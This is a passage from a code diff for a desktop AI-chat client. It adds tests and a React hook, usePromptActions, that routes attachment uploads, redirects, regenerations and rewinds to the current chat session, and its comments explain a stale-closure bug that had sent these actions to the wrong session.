+        readFileDataUrl: vi.fn(async () => {
+          throw new Error('ENOENT: no such file')
+        })
+      }
+    })
+
+    await expect(
+      uploadComposerAttachment(
+        { id: 'file:gone', kind: 'file', label: 'gone.csv', path: '/abs/gone.csv' },
+        { remote: true, requestGateway: vi.fn(async () => ({}) as never), sessionId: RUNTIME_SESSION_ID }
+      )
+    ).rejects.toThrow('ENOENT: no such file')
+  })
+})
+
+// The actions bag is a STABLE ref that wiring.tsx mutates in place
+// (Object.assign), and the pane surfaces are memoized on that stable ref — so a
+// surface does NOT re-render when the active session changes and its props keep
+// holding whichever `usePromptActions` closure was current when it last
+// rendered. `activeSessionIdRef` is therefore the authority (mirrored during
+// render in use-session-state-cache, and pinned imperatively mid-flight by
+// submit.ts / use-session-actions without touching the source prop), while the
+// closure-captured `activeSessionId` prop is stale by design.
+//
+// Every action below used `activeSessionId || activeSessionIdRef.current`, which
+// prefers the STALE value whenever it is non-null and only consults the fresh
+// ref once the prop is null. That routed history-mutating writes and live-turn
+// corrections into the previously-focused chat: content the user typed in chat B
+// reached chat A's agent, and rewinds truncated the wrong session's transcript.
+// `cancelRun` in the same file already reads the ref exclusively and documents
+// exactly this hazard.
+describe('usePromptActions stale-closure session routing', () => {
+  const RUNTIME_SESSION_B = 'rt-session-b-current'
+
+  beforeEach(() => {
+    // Earlier suites in this file leave `$busy` true (it is a module-level
+    // store, shared across tests). reloadFromMessage bails on a busy session,
+    // so without this reset the regeneration case never reaches its routing
+    // decision and would pass vacuously.
+    $busy.set(false)
+  })
+
+  afterEach(() => {
+    cleanup()
+    setMessages([])
+    $busy.set(false)
+    vi.restoreAllMocks()
+  })
+
+  type GatewayCall = [string, Record<string, unknown>?]
+  type GatewayRequestFn = <T>(method: string, params?: Record<string, unknown>, timeoutMs?: number) => Promise<T>
+  type GatewayMock = GatewayRequestFn & { mock: { calls: unknown[][] } }
+
+  function gatewayCalls(requestGateway: GatewayMock): GatewayCall[] {
+    return requestGateway.mock.calls as unknown as GatewayCall[]
+  }
+
+  // Renders with `activeSessionId` (the prop) pinned to session A, then moves
+  // the ref to session B — the exact split a memoized surface holds after the
+  // user switches chats. Every action must target B.
+  //
+  // The rewind/reload planners read the GLOBAL `$messages` store (the view
+  // transcript), not the harness's per-session state, so the fixture has to
+  // seed both or the action bails on a null plan and the test would pass
+  // vacuously without ever reaching the routing decision.
+  async function renderWithStaleClosure(requestGateway: GatewayMock, seedMessages?: unknown[]) {
+    const activeSessionIdRef: MutableRefObject<string | null> = { current: RUNTIME_SESSION_ID }
+    const updated: string[] = []
+
+    if (seedMessages) {
+      setMessages(seedMessages as never)
+    }
+
+    let handle: HarnessHandle | null = null
+    await actRender(
+      <Harness
+        activeSessionId={RUNTIME_SESSION_ID}
+        activeSessionIdRef={activeSessionIdRef}
+        onReady={h => (handle = h)}
+        onUpdateState={sessionId => updated.push(sessionId)}
+        refreshSessions={async () => undefined}
+        requestGateway={requestGateway}
+        seedMessages={seedMessages}
+        selectedStoredSessionIdRef={{ current: null }}
+      />
+    )
+
+    // The user switches to session B. The ref follows; the prop captured in the
+    // memoized surface's closure still says session A.
+    activeSessionIdRef.current = RUNTIME_SESSION_B
+
+    return { handle: handle!, updated }
+  }
+
+  it('redirects the live turn into the CURRENT session, not the stale closure session', async () => {
+    const requestGateway = vi.fn(async () => ({ status: 'redirected' }) as never) as unknown as GatewayMock
+    const { handle } = await renderWithStaleClosure(requestGateway)
+
+    await handle.redirectPrompt('actually use Postgres')
+
+    // A redirect reaches the model mid-turn. Sent to the stale session, the
+    // correction lands in a conversation the user is no longer looking at —
+    // this is the observed "session suddenly working on another chat's task".
+    expect(requestGateway).toHaveBeenCalledWith('session.redirect', {
+      session_id: RUNTIME_SESSION_B,
+      text: 'actually use Postgres'
+    })
+    expect(requestGateway).not.toHaveBeenCalledWith(
+      'session.redirect',
+      expect.objectContaining({ session_id: RUNTIME_SESSION_ID })
+    )
+  })
+
+  it('regenerates against the CURRENT session, not the stale closure session', async () => {
+    const requestGateway = vi.fn(async () => ({}) as never) as unknown as GatewayMock
+
+    const { handle, updated } = await renderWithStaleClosure(requestGateway, [
+      { id: 'u1', parts: [textPart('original prompt')], role: 'user', timestamp: 0 },
+      { id: 'a1', parts: [textPart('reply')], role: 'assistant', timestamp: 1 }
+    ])
+
+    await handle.reloadFromMessage('u1')
+
+    // prompt.submit with a truncate ordinal DELETES history after that point.
+    // Aimed at the stale session it destroys the wrong transcript.
+    expect(requestGateway).toHaveBeenCalledWith(
+      'prompt.submit',
+      expect.objectContaining({ session_id: RUNTIME_SESSION_B }),
+      expect.anything()
+    )
+    expect(requestGateway).not.toHaveBeenCalledWith(
+      'prompt.submit',
+      expect.objectContaining({ session_id: RUNTIME_SESSION_ID }),
+      expect.anything()
+    )
+    expect(updated).toContain(RUNTIME_SESSION_B)
+    expect(updated).not.toContain(RUNTIME_SESSION_ID)
+  })
+
+  it('restores a checkpoint in the CURRENT session, not the stale closure session', async () => {
+    const requestGateway = vi.fn(async () => ({}) as never) as unknown as GatewayMock
+
+    const { handle, updated } = await renderWithStaleClosure(requestGateway, [
+      { id: 'u1', parts: [textPart('first prompt')], role: 'user', timestamp: 0 },
+      { id: 'a1', parts: [textPart('first reply')], role: 'assistant', timestamp: 1 },
+      { id: 'u2', parts: [textPart('second prompt')], role: 'user', timestamp: 2 }
+    ])
+
+    await handle.restoreToMessage('u2')
+
+    // A rewind is destructive; the optimistic truncation must also be applied
+    // to the session that actually receives the rewind.
+    expect(updated).toContain(RUNTIME_SESSION_B)
+    expect(updated).not.toContain(RUNTIME_SESSION_ID)
+
+    for (const [, params] of gatewayCalls(requestGateway)) {
+      if (params && 'session_id' in params) {
+        expect(params.session_id).toBe(RUNTIME_SESSION_B)
+      }
+    }
+  })
+
+  it('edits a message in the CURRENT session, not the stale closure session', async () => {
+    const requestGateway = vi.fn(async () => ({}) as never) as unknown as GatewayMock
+
+    const { handle, updated } = await renderWithStaleClosure(requestGateway, [
+      { id: 'u1', parts: [textPart('original prompt')], role: 'user', timestamp: 0 },
+      { id: 'a1', parts: [textPart('reply')], role: 'assistant', timestamp: 1 }
+    ])
+
+    await handle.editMessage({
+      content: [{ text: 'edited prompt', type: 'text' }],
+      parentId: null,
+      role: 'user',
+      sourceId: 'u1'
+    } as never)
+
+    expect(updated).toContain(RUNTIME_SESSION_B)
+    expect(updated).not.toContain(RUNTIME_SESSION_ID)
+
+    for (const [, params] of gatewayCalls(requestGateway)) {
+      if (params && 'session_id' in params) {
+        expect(params.session_id).toBe(RUNTIME_SESSION_B)
+      }
+    }
+  })
+})
diff --git a/ui-desktop/src/app/session/hooks/use-prompt-actions/index.ts b/ui-desktop/src/app/session/hooks/use-prompt-actions/index.ts
new file mode 100644
index 000000000..6d7625ffa
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-prompt-actions/index.ts
@@ -0,0 +1,968 @@
+import type { AppendMessage, ThreadMessage } from '@assistant-ui/react'
+import { useStore } from '@nanostores/react'
+import { type MutableRefObject, useCallback, useEffect, useRef } from 'react'
+
+import { PROMPT_SUBMIT_REQUEST_TIMEOUT_MS, transcribeAudio } from '@/clawcodex'
+import { useI18n } from '@/i18n'
+import { stripAnsi } from '@/lib/ansi'
+import { type ChatMessage, textPart } from '@/lib/chat-messages'
+import { pathLabel, SLASH_COMMAND_RE } from '@/lib/chat-runtime'
+import { sanitizeComposerInput } from '@/lib/composer-input-sanitize'
+import { triggerHaptic } from '@/lib/haptics'
+import { setMutableRef } from '@/lib/mutable-ref'
+import { normalize } from '@/lib/text'
+import { clearClarifyRequest } from '@/store/clarify'
+import {
+  $composerAttachments,
+  type ComposerAttachment,
+  setComposerAttachmentUploadState,
+  updateComposerAttachment
+} from '@/store/composer'
+import { resetSessionBackground } from '@/store/composer-status'
+import { clearNotifications, notify, notifyError } from '@/store/notifications'
+import { clearPreviewArtifacts } from '@/store/preview-status'
+import { clearAllPrompts } from '@/store/prompts'
+import {
+  $busy,
+  $connection,
+  $currentCwd,
+  $messages,
+  setActiveSessionId,
+  setAwaitingResponse,
+  setBusy,
+  setMessages,
+  setTurnStartedAt
+} from '@/store/session'
+import { clearSessionSubagents } from '@/store/subagents'
+import { clearSessionTodos } from '@/store/todos'
+import { setSessionDraftingTool } from '@/store/tool-drafting'
+
+import type {
+  ClientSessionState,
+  FileAttachResponse,
+  HandoffFailResponse,
+  HandoffRequestResponse,
+  HandoffStateResponse,
+  ImageAttachResponse,
+  SessionRedirectResponse
+} from '../../../types'
+
+import {
+  applyBranchVisibility,
+  applyReloadOptimistic,
+  applyRewindOptimistic,
+  finalizeInterruptedMessages,
+  planEdit,
+  planReload,
+  planRestore,
+  runRewindSubmit,
+  truncateSubmitParams
+} from './rewind'
+import { useSlashCommand } from './slash'
+import { useSubmitPrompt } from './submit'
+import {
+  blobToDataUrl,
+  delay,
+  friendlyRemoteAttachError,
+  type GatewayRequest,
+  inlineErrorMessage,
+  readFileDataUrlForAttach,
+  readImageForRemoteAttach,
+  type SubmitTextOptions,
+  withSessionNotFoundResume
+} from './utils'
+
+interface HandoffResult {
+  ok: boolean
+  error?: string
+}
+
+const WINDOWS_ABSOLUTE_PATH_RE = /^(?:[A-Za-z]:[\\/]|\\\\)/
+const POSIX_ABSOLUTE_PATH_RE = /^\/(?!\/)/
+
+// `mode: local` means the gateway was launched locally, not necessarily that
+// Electron and the gateway share a filesystem. Windows Desktop can front a
+// WSL/Docker backend whose cwd is POSIX, so a Windows host path must cross the
+// boundary as bytes just like a remote attachment.
+function attachmentPathNeedsUpload(path: string, backendCwd?: null | string): boolean {
+  return WINDOWS_ABSOLUTE_PATH_RE.test(path.trim()) && POSIX_ABSOLUTE_PATH_RE.test(backendCwd?.trim() || '')
+}
+
+/**
+ * Stage one file/image attachment into the session workspace and return the
+ * attachment rewritten with the gateway-side ref. Attachments upload their
+ * bytes for remote gateways and local cross-filesystem backends; otherwise the
+ * gateway receives the shared local path. Throws on failure so callers can
+ * surface an error. Shared by submit-time sync, the eager drop-time upload, and
+ * the message-edit composer drop — keep them in lockstep.
+ */
+export async function uploadComposerAttachment(
+  attachment: ComposerAttachment,
+  opts: {
+    backendCwd?: null | string
+    remote: boolean
+    requestGateway: GatewayRequest
+    sessionId: string
+    /** Durable id used to re-register after sleep/wake or a backend restart. */
+    storedSessionId?: null | string
+    /** Called when the attach recovered onto a fresh live id. */
+    onSessionRecovered?: (sessionId: string) => void
+  }
+): Promise<ComposerAttachment> {
+  const { backendCwd, remote, requestGateway, storedSessionId, onSessionRecovered } = opts
+  const path = attachment.path ?? ''
+  const label = attachment.label || pathLabel(path)
+  const uploadBytes = remote || attachmentPathNeedsUpload(path, backendCwd)
+
+  // Read bytes/paths ONCE, outside the retry. Only the session-scoped RPC is
+  // replayed on recovery — re-reading a multi-MB file to retry a dead session
+  // id would double the disk/IPC cost of every recovered attach.
+  let imagePayload: Awaited<ReturnType<typeof readImageForRemoteAttach>> | null = null
+  let fileDataUrl: null | string = null
+
+  if (uploadBytes) {
+    try {
+      if (attachment.kind === 'image') {
+        imagePayload = await readImageForRemoteAttach(path)
+      } else {
+        fileDataUrl = await readFileDataUrlForAttach(path)
+      }
+    } catch (err) {
+      throw friendlyRemoteAttachError(err, label)
+    }
+
+    if (attachment.kind === 'image' ? !imagePayload : !fileDataUrl) {
+      throw new Error(`Could not read ${label}`)
+    }
+  }
+
+  const stageForSession = async (liveSessionId: string): Promise<ComposerAttachment> => {
+    if (attachment.kind === 'image') {
+      const result = imagePayload
+        ? await requestGateway<ImageAttachResponse>('image.attach_bytes', {
+            session_id: liveSessionId,
+            content_base64: imagePayload.contentBase64,
+            filename: imagePayload.filename
+          })
+        : await requestGateway<ImageAttachResponse>('image.attach', {
+            path,
+            session_id: liveSessionId
+          })
+
+      if (!result.attached) {
+        throw new Error(result.message || `Could not attach ${label}`)
+      }
+
+      const attachedPath = result.path || path
+
+      return {
+        ...attachment,
+        attachedSessionId: liveSessionId,
+        label: attachedPath ? pathLabel(attachedPath) : attachment.label,
+        path: attachedPath,
+        uploadState: undefined
+      }
+    }
+
+    const result = await requestGateway<FileAttachResponse>('file.attach', {
+      name: label,
+      path,
+      session_id: liveSessionId,
+      ...(fileDataUrl ? { data_url: fileDataUrl } : {})
+    })
+
+    if (!result.attached || !result.ref_text) {
+      throw new Error(result.message || `Could not attach ${label}`)
+    }
+
+    return {
+      ...attachment,
+      attachedSessionId: liveSessionId,
+      refText: result.ref_text,
+      uploadState: undefined
+    }
+  }
+
+  // Attach runs BEFORE prompt.submit, so submit's own recovery never gets a
+  // chance: a stale runtime id fails here first and the user sees "session not
+  // found" on an image while plain text works.
+  const { result, sessionId: usedSessionId } = await withSessionNotFoundResume(
+    opts.sessionId,
+    storedSessionId,
+    stageForSession,
+    { requestGateway }
+  )
+
+  if (usedSessionId !== opts.sessionId) {
+    onSessionRecovered?.(usedSessionId)
+  }
+
+  return result
+}
+
+interface PromptActionsOptions {
+  activeSessionId: string | null
+  activeSessionIdRef: MutableRefObject<string | null>
+  busyRef: MutableRefObject<boolean>
+  branchCurrentSession: () => Promise<boolean>
+  createBackendSessionForSend: (preview?: string | null) => Promise<string | null>
+  getRoutedStoredSessionId: () => null | string
+  getRuntimeIdForStoredSession: (storedSessionId: string) => null | string
+  getRouteToken: () => string
+  handleSkinCommand: (arg: string) => string
+  openMemoryGraph: () => void
+  refreshSessions: () => Promise<void>
+  requestGateway: <T>(method: string, params?: Record<string, unknown>, timeoutMs?: number) => Promise<T>
+  resumeStoredSession: (storedSessionId: string) => Promise<void> | void
+  selectedStoredSessionIdRef: MutableRefObject<string | null>
+  startFreshSessionDraft: () => void
+  sttEnabled: boolean
+  updateSessionState: (
+    sessionId: string,
+    updater: (state: ClientSessionState) => ClientSessionState,
+    storedSessionId?: string | null
+  ) => ClientSessionState
+}
+
+/** Everything a slash handler needs about the invocation it's serving. */
+
+interface RestoreMessageTarget {
+  text?: string
+  userOrdinal?: number | null
+}
+
+export function usePromptActions({
+  activeSessionId,
+  activeSessionIdRef,
+  busyRef,
+  branchCurrentSession,
+  createBackendSessionForSend,
+  getRoutedStoredSessionId,
+  getRuntimeIdForStoredSession,
+  getRouteToken,
+  handleSkinCommand,
+  openMemoryGraph,
+  refreshSessions,
+  requestGateway,
+  resumeStoredSession,
+  selectedStoredSessionIdRef,
+  startFreshSessionDraft,
+  sttEnabled,
+  updateSessionState
+}: PromptActionsOptions) {
+  const { t } = useI18n()
+  const copy = t.desktop
+
+  const appendSessionTextMessage = useCallback(
+    (
+      sessionId: string,
+      role: ChatMessage['role'],
+      text: string,
+      storedSessionId?: string | null,
+      options: { insertBeforeActiveReply?: boolean } = {}
+    ) => {
+      // Strip ANSI: slash-command output from the backend worker carries SGR
+      // color codes (e.g. "Unknown command" in red). The ESC byte is invisible
+      // in the chat panel, so without this the `[1;31m…[0m` payload leaks as
+      // literal text.
+      const body = stripAnsi(text).trim()
+
+      if (!body) {
+        return
+      }
+
+      const messageId = `${role}-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`
+
+      updateSessionState(
+        sessionId,
+        state => {
+          const message: ChatMessage = {
+            id: messageId,
+            role,
+            parts: [textPart(body)]
+          }
+
+          const streamIndex =
+            options.insertBeforeActiveReply && state.streamId
+              ? state.messages.findIndex(candidate => candidate.id === state.streamId)
+              : -1
+
+          const lastAssistantIndex = options.insertBeforeActiveReply
+            ? state.messages.map(candidate => candidate.role).lastIndexOf('assistant')
+            : -1
+
+          const insertionIndex = streamIndex >= 0 ? streamIndex : lastAssistantIndex
+
+          const messages =
+            insertionIndex >= 0
+              ? [...state.messages.slice(0, insertionIndex), message, ...state.messages.slice(insertionIndex)]
+              : [...state.messages, message]
+
+          return { ...state, messages }
+        },
+        storedSessionId ?? selectedStoredSessionIdRef.current
+      )
+
+      return messageId
+    },
+    [selectedStoredSessionIdRef, updateSessionState]
+  )
+
+  // In-flight drop-time eager uploads, keyed by attachment id. Submit joins
+  // these before re-uploading so a drop-then-immediately-Enter can't fire
+  // file.attach twice and stage duplicate copies on the gateway.
+  const eagerUploadInFlight = useRef<Map<string, Promise<void>>>(new Map())
+
+  const syncAttachmentsForSubmit = useCallback(
+    async (
+      sessionId: string,
+      attachments: ComposerAttachment[],
+      options: { updateComposerAttachments?: boolean } = {}
+    ): Promise<{ attachments: ComposerAttachment[]; sessionId: string }> => {
+      const updateComposerAttachments = options.updateComposerAttachments ?? true
+      const remote = $connection.get()?.mode === 'remote'
+      const storedSessionId = selectedStoredSessionIdRef.current
+      let liveSessionId = sessionId
+      const synced: ComposerAttachment[] = []
+
+      const onSessionRecovered = (recoveredId: string) => {
+        liveSessionId = recoveredId
+        activeSessionIdRef.current = recoveredId
+        setActiveSessionId(recoveredId)
+      }
+
+      for (const original of attachments) {
+        let attachment = original
+
+        // Join a drop-time eager upload still in flight for this attachment
+        // before deciding anything — otherwise submit and the eager task both
+        // call file.attach and stage duplicate files. After it settles, take the
+        // store's updated copy (its gateway ref, or its failure) over the stale
+        // pre-upload snapshot.
+        const inFlight = eagerUploadInFlight.current.get(attachment.id)
+
+        if (inFlight) {
+          await inFlight
+          attachment = $composerAttachments.get().find(item => item.id === attachment.id) ?? attachment
+        }
+
+        // Already-synced or pathless refs (terminal, url, etc.) pass through.
+        // A drop-time eager upload may already have staged this one (matching
+        // attachedSessionId) — don't re-upload it. Compare against the LIVE id:
+        // after a mid-loop recovery an earlier chip's attachedSessionId points
+        // at the dead runtime and must be re-staged.
+        if (!attachment.path || attachment.attachedSessionId === liveSessionId) {
+          synced.push(attachment)
+
+          continue
+        }
+
+        if (attachment.kind === 'image' || attachment.kind === 'file') {
+          const nextAttachment = await uploadComposerAttachment(attachment, {
+            backendCwd: $currentCwd.get(),
+            remote,
+            requestGateway,
+            sessionId: liveSessionId,
+            storedSessionId,
+            onSessionRecovered
+          })
+
+          // Update-only: never resurrect a chip the user removed mid-upload.
+          if (updateComposerAttachments) {
+            updateComposerAttachment(nextAttachment)
+          }
+
+          synced.push(nextAttachment)
+
+          continue
+        }
+
+        synced.push(attachment)
+      }
+
+      return { attachments: synced, sessionId: liveSessionId }
+    },
+    [activeSessionIdRef, requestGateway, selectedStoredSessionIdRef]
+  )
+
+  // Stage a freshly dropped file as soon as it lands (when a session already
+  // exists), so the upload runs while the user is still typing rather than
+  // stalling the send. The card shows a spinner via `uploadState`; on success
+  // the chip carries its gateway-side ref so submit skips re-uploading.
+  //
+  // Images are intentionally NOT eager-uploaded: attachImagePath adds the chip
+  // and then fills in `previewUrl` (the base64 thumbnail) on a second tick, so
+  // an eager upload would race that write — clobbering the thumbnail and
+  // swapping `path` to a gateway path the local preview can't read. Images are
+  // small and still byte-upload at submit via image.attach_bytes.
+  const eagerlyUploadAttachment = useCallback(
+    async (sessionId: string, attachment: ComposerAttachment) => {
+      const remote = $connection.get()?.mode === 'remote'
+
+      setComposerAttachmentUploadState(attachment.id, 'uploading')
+
+      try {
+        // Update-only: if the user removed the chip while this was uploading,
+        // don't resurrect it — just drop the staged result on the floor.
+        updateComposerAttachment(
+          await uploadComposerAttachment(attachment, {
+            backendCwd: $currentCwd.get(),
+            remote,
+            requestGateway,
+            sessionId
+          })
+        )
+      } catch (err) {
+        // Leave the chip in place so submit-time sync can retry (or the user can
+        // remove it) and flag the card; also toast so a hard failure (unreadable
+        // file, gateway perms) isn't swallowed while the user keeps typing.
+        setComposerAttachmentUploadState(attachment.id, 'error')
+        notifyError(err, copy.dropFiles)
+      }
+    },
+    [copy.dropFiles, requestGateway]
+  )
+
+  const composerAttachments = useStore($composerAttachments)
+
+  useEffect(() => {
+    if (!activeSessionId) {
+      return
+    }
+
+    for (const attachment of composerAttachments) {
+      const needsUpload =
+        attachment.kind === 'file' &&
+        Boolean(attachment.path) &&
+        !attachment.attachedSessionId &&
+        !attachment.uploadState &&
+        !eagerUploadInFlight.current.has(attachment.id)
+
+      if (!needsUpload) {
+        continue
+      }
+
+      const task = eagerlyUploadAttachment(activeSessionId, attachment).finally(() =>
+        eagerUploadInFlight.current.delete(attachment.id)
+      )
+
+      eagerUploadInFlight.current.set(attachment.id, task)
+    }
+  }, [activeSessionId, composerAttachments, eagerlyUploadAttachment])
+
+  const submitPromptText = useSubmitPrompt({
+    activeSessionIdRef,
+    busyRef,
+    copy,
+    createBackendSessionForSend,
+    getRoutedStoredSessionId,
+    getRuntimeIdForStoredSession,
+    getRouteToken,
+    requestGateway,
+    resumeStoredSession,
+    selectedStoredSessionIdRef,
+    syncAttachmentsForSubmit,
+    updateSessionState
+  })
+
+  // Queue a handoff of this session to a messaging platform and watch it to
+  // a terminal state. We only write the request through the gateway; the
+  // separate `clawcodex gateway` process performs the actual transfer, so we
+  // poll `handoff.state` (mirror of the CLI's block-poll) for the result.
+  const handoffSession = useCallback(
+    async (
+      platform: string,
+      options?: { onProgress?: (state: string) => void; sessionId?: string }
+    ): Promise<HandoffResult> => {
+      const sid = options?.sessionId || activeSessionIdRef.current
+
+      if (!sid) {
+        return { error: copy.sessionUnavailable, ok: false }
+      }
+
+      const target = normalize(platform)
+
+      if (!target) {
+        return { error: copy.handoff.failed(''), ok: false }
+      }
+
+      try {
+        options?.onProgress?.('pending')
+        await requestGateway<HandoffRequestResponse>('handoff.request', {
+          platform: target,
+          session_id: sid
+        })
+      } catch (err) {
+        return { error: inlineErrorMessage(err, copy.handoff.failed(target)), ok: false }
+      }
+
+      const markCompleted = (): HandoffResult => {
+        appendSessionTextMessage(sid, 'system', copy.handoff.systemNote(target))
+        notify({ kind: 'success', message: copy.handoff.success(target) })
+
+        return { ok: true }
+      }
+
+      const deadline = Date.now() + 60_000
+      let lastState = 'pending'
+
+      while (Date.now() < deadline) {
+        await delay(800)
+
+        let record: HandoffStateResponse
+
+        try {
+          record = await requestGateway<HandoffStateResponse>('handoff.state', { session_id: sid })
+        } catch {
+          continue
+        }
+
+        const state = record.state || 'pending'
+
+        if (state !== lastState) {
+          options?.onProgress?.(state)
+          lastState = state
+        }
+
+        if (state === 'completed') {
+          return markCompleted()
+        }
+
+        if (state === 'failed') {
+          return { error: record.error || copy.handoff.failed(target), ok: false }
+        }
+      }
+
+      const cleanup = await requestGateway<HandoffFailResponse>('handoff.fail', {
+        error: copy.handoff.timedOut,
+        session_id: sid
+      }).catch(() => null)
+
+      if (cleanup?.state === 'completed') {
+        return markCompleted()
+      }
+
+      return { error: copy.handoff.timedOut, ok: false }
+    },
+    [activeSessionIdRef, appendSessionTextMessage, copy, requestGateway]
+  )
+
+  const executeSlashCommand = useSlashCommand({
+    activeSessionIdRef,
+    appendSessionTextMessage,
+    branchCurrentSession,
+    busyRef,
+    copy,
+    createBackendSessionForSend,
+    getRoutedStoredSessionId,
+    getRuntimeIdForStoredSession,
+    handleSkinCommand,
+    handoffSession,
+    openMemoryGraph,
+    refreshSessions,
+    requestGateway,
+    resumeStoredSession,
+    selectedStoredSessionIdRef,
+    startFreshSessionDraft,
+    submitPromptText,
+    updateSessionState
+  })
+
+  const submitText = useCallback(
+    async (rawText: string, options?: SubmitTextOptions) => {
+      const visibleText = sanitizeComposerInput(rawText).trim()
+      const attachments = options?.attachments ?? $composerAttachments.get()
+
+      if (!attachments.length && SLASH_COMMAND_RE.test(visibleText)) {
+        triggerHaptic('selection')
+        // Forward the explicit target (background queue drain, tile) — dropping
+        // it ran the command against whatever chat happened to be in front.
+        await executeSlashCommand(visibleText, options?.sessionId ? { sessionId: options.sessionId } : undefined)
+
+        return true
+      }
+
+      return await submitPromptText(rawText, options)
+    },
+    [executeSlashCommand, submitPromptText]
+  )
+
+  const transcribeVoiceAudio = useCallback(
+    async (audio: Blob) => {
+      if (!sttEnabled) {
+        throw new Error(copy.sttDisabled)
+      }
+
+      const dataUrl = await blobToDataUrl(audio)
+      const result = await transcribeAudio(dataUrl, audio.type)
+
+      return result.transcript
+    },
+    [copy.sttDisabled, sttEnabled]
+  )
+
+  const cancelRun = useCallback(async () => {
+    // Read from the ref, not the closure-captured `activeSessionId`. The
+    // actions bag is a stable ref mutated in place (Object.assign on each
+    // ContribWiring render), and ChatRoutesSurface is memoized on that stable
+    // ref — so it does NOT re-render when activeSessionId changes, which means
+    // the ChatView element's onCancel prop holds a stale cancelRun closure.
+    // The closure's `activeSessionId` can be a previous session's id (or null
+    // from a new-chat draft), sending session.interrupt to the wrong session.
+    // The ref is updated via useEffect on every activeSessionId change, so it
+    // always reflects the current session — same pattern submitText uses.
+    const sessionId = activeSessionIdRef.current
+
+    const releaseBusy = () => {
+      setMutableRef(busyRef, false)
+      setBusy(false)
+    }
+
+    setAwaitingResponse(false)
+    setTurnStartedAt(null)
+
+    if (!sessionId) {
+      releaseBusy()
+      setMessages(finalizeInterruptedMessages($messages.get()))
+
+      return
+    }
+
+    updateSessionState(sessionId, state => {
+      const streamId = state.streamId
+      const messages = finalizeInterruptedMessages(state.messages, streamId)
+
+      return {
+        ...state,
+        messages,
+        busy: false,
+        awaitingResponse: false,
+        streamId: null,
+        pendingBranchGroup: null,
+        needsInput: false,
+        interrupted: true,
+        turnStartedAt: null
+      }
+    })
+
+    clearSessionTodos(sessionId)
+    clearSessionSubagents(sessionId)
+    resetSessionBackground(sessionId)
+    setSessionDraftingTool(sessionId, '')
+    // Stop ends the turn, so the gateway is no longer blocked on any prompt it
+    // raised. Drop this session's pending clarify / approval / sudo / secret so
+    // a dead panel (and the sidebar "needs input" dot) can't linger and accept
+    // an answer the backend will reject.
+    clearAllPrompts(sessionId)
+    clearClarifyRequest(undefined, sessionId)
+
+    try {
+      await withSessionNotFoundResume(
+        sessionId,
+        selectedStoredSessionIdRef.current,
+        liveId => requestGateway('session.interrupt', { session_id: liveId }),
+        {
+          requestGateway,
+          onRecovered: recoveredId => {
+            activeSessionIdRef.current = recoveredId
+            setActiveSessionId(recoveredId)
+          }
+        }
+      )
+      releaseBusy()
+    } catch (err) {
+      releaseBusy()
+      notifyError(err, copy.stopFailed)
+    }
+  }, [activeSessionIdRef, busyRef, copy.stopFailed, requestGateway, selectedStoredSessionIdRef, updateSessionState])
+
+  // The desktop steering action is an immediate correction: the core cancels
+  // model generation and rebuilds the live turn with displayed reasoning and
+  // completed work intact. During a tool it waits for the safe result boundary.
+  // Returns false when the turn raced to completion so the composer can queue.
+  const redirectPrompt = useCallback(
+    async (rawText: string): Promise<boolean> => {
+      const text = sanitizeComposerInput(rawText).trim()
+      // Ref, not the closure-captured prop — see cancelRun above. A redirect
+      // reaches the live model mid-turn, so a stale target delivers the user's
+      // correction into a conversation they are no longer looking at.
+      const sessionId = activeSessionIdRef.current
+
+      if (!text || !sessionId) {
+        return false
+      }
+
+      // Accepted whether the live turn was redirected in place or queued for
+      // the next turn (the build window, before the agent is wired) — either
+      // way the correction reaches the model, so record it once as a real user
+      // message after the interrupted checkpoint, matching the durable core
+      // transcript rather than a system note that changes role after reload.
+      const send = async (id: string): Promise<boolean> => {
+        // Redirect aborts the model request, so the completion event can race
+        // its RPC response. Insert before the live reply *before* awaiting the
+        // gateway; appending after the response leaves the correction below a
+        // reply that the redirect has already replaced.
+        const messageId = appendSessionTextMessage(id, 'user', text, undefined, { insertBeforeActiveReply: true })
+
+        const discardOptimisticMessage = () =>
+          updateSessionState(id, state => ({
+            ...state,
+            messages: state.messages.filter(message => message.id !== messageId)
+          }))
+
+        const moveOptimisticMessageToEnd = () =>
+          updateSessionState(id, state => {
+            const message = state.messages.find(candidate => candidate.id === messageId)
+
+            return message
+              ? { ...state, messages: [...state.messages.filter(candidate => candidate.id !== messageId), message] }
+              : state
+          })
+
+        try {
+          const result = await requestGateway<SessionRedirectResponse>('session.redirect', { session_id: id, text })
+
+          if (result?.status === 'redirected') {
+            triggerHaptic('submit')
+
+            return true
+          }
+
+          if (result?.status === 'queued') {
+            // Build-window redirects become the next turn, not part of the
+            // active reply, so retain the optimistic row at the tail.
+            moveOptimisticMessageToEnd()
+            triggerHaptic('submit')
+
+            return true
+          }
+        } catch (err) {
+          discardOptimisticMessage()
+          throw err
+        }
+
+        discardOptimisticMessage()
+
+        return false
+      }
+
+      try {
+        // A stale runtime id after reconnect 404s ("session not found"): the
+        // shared resolver resumes the stored session and retries once, so a
+        // correction right after a reconnect isn't lost to the race.
+        const { result } = await withSessionNotFoundResume(sessionId, selectedStoredSessionIdRef.current, send, {
+          requestGateway,
+          onRecovered: recoveredId => {
+            activeSessionIdRef.current = recoveredId
+            setActiveSessionId(recoveredId)
+          }
+        })
+
+        return result
+      } catch {
+        // Swallow — caller queues the text so nothing is lost.
+      }
+
+      return false
+    },
+    [activeSessionIdRef, appendSessionTextMessage, requestGateway, selectedStoredSessionIdRef, updateSessionState]
+  )
+
+  const reloadFromMessage = useCallback(
+    async (parentId: string | null) => {
+      // Ref, not the closure-captured prop — a truncating resubmit aimed at a
+      // stale session deletes the wrong transcript.
+      const sessionId = activeSessionIdRef.current
+
+      if (!sessionId || $busy.get()) {
+        return
+      }
+
+      const plan = planReload($messages.get(), parentId)
+
+      if (!plan) {
+        return
+      }
+
+      clearNotifications()
+      updateSessionState(sessionId, state => applyReloadOptimistic(state, plan))
+
+      try {
+        await requestGateway(
+          'prompt.submit',
+          {
+            session_id: sessionId,
+            text: plan.text,
+            ...truncateSubmitParams(plan.truncateOrdinal)
+          },
+          PROMPT_SUBMIT_REQUEST_TIMEOUT_MS
+        )
+      } catch (err) {
+        updateSessionState(sessionId, state => ({
+          ...state,
+          busy: false,
+          awaitingResponse: false
+        }))
+        notifyError(err, copy.regenerateFailed)
+      }
+    },
+    [activeSessionIdRef, copy.regenerateFailed, requestGateway, updateSessionState]
+  )
+
+  // Cursor-style "restore checkpoint": rewind the conversation to a past user
+  // prompt and run it again from there. Reuses the edit composer's rewind
